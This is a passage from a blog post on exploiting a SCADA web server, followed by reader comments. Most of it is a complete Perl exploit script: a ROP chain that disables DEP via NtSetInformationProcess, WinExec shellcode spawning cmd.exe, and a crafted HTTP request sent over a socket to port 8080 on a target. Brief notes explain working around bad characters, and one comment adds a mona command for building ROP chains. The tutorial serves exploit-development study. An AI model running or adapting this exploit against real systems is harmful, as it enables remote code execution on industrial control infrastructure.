$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x8d\x15\x86\x7c\xff\xd0";

$exploit .= "A"x(424-23);

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

So are we finished?  God, no.

We need to do a little refactoring of this shellcode before we can use it.  The hardcoded WinExec address it uses is not correct for XP SP3, so we first need to update it with the correct address 0x7c86250d:

\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x0d\x25\x86\x7c\xff\xd0

However, this presents another problem.  The true WinExec address has the bad char 0x25 in its address, and it doesn’t seem immediately feasible to jump to a nearby address without the offending byte due to the RET:

So let’s tack on a couple more bytes to our shellcode.  Instead of directly MOVing &WinExec to EAX, we can be tricky and MOV the two’s complement of the function pointer and NEG (negate) it.  The disassembly of our new shellcode will look like this:

02CDFA7C   8BEC             MOV EBP,ESP
02CDFA7E   68 65786520      PUSH 20657865
02CDFA83   68 636D642E      PUSH 2E646D63
02CDFA88   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
02CDFA8B   50               PUSH EAX
02CDFA8C   B8 F3DA7983      MOV EAX,8379DAF3
02CDFA91   F7D8             NEG EAX
02CDFA93   FFD0             CALL EAX

This is our final exploit:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\xf3\xda\x79\x83\xf7\xd8\xff\xd0";

$exploit .= "A"x(424-25);

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

And let ‘er rip:

Obviously we’re only able to spawn a shell locally (on the remote system), but the techniques necessary to write the appropriate network-capable shellcode without using any of our nine bad chars with size considerations may be better suited for a separate post.  Or we could just use a stager.

SCADA Wars Episode 3 – Revenge of ASLR

A (hopeful) part three will discuss the implications of ASLR in the target environment, disallowing the use of hardcoded addresses in our exploit.

3 thoughts on “Anatomy of a SCADA Exploit: Part 2 – From EIP to Shell

  1. Nice, Good work !!!

    FYI – you can tell mona to exclude bad characters from the rop search and rop chains automatically :

    !mona rop -cpb ‘\x00\x09\x0a\x23\x3a\x3d\x3f\x5c’

    the -cpb switch works for any search related operation in mona

  2. Pingback: the way to learn. | 黑篷车

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s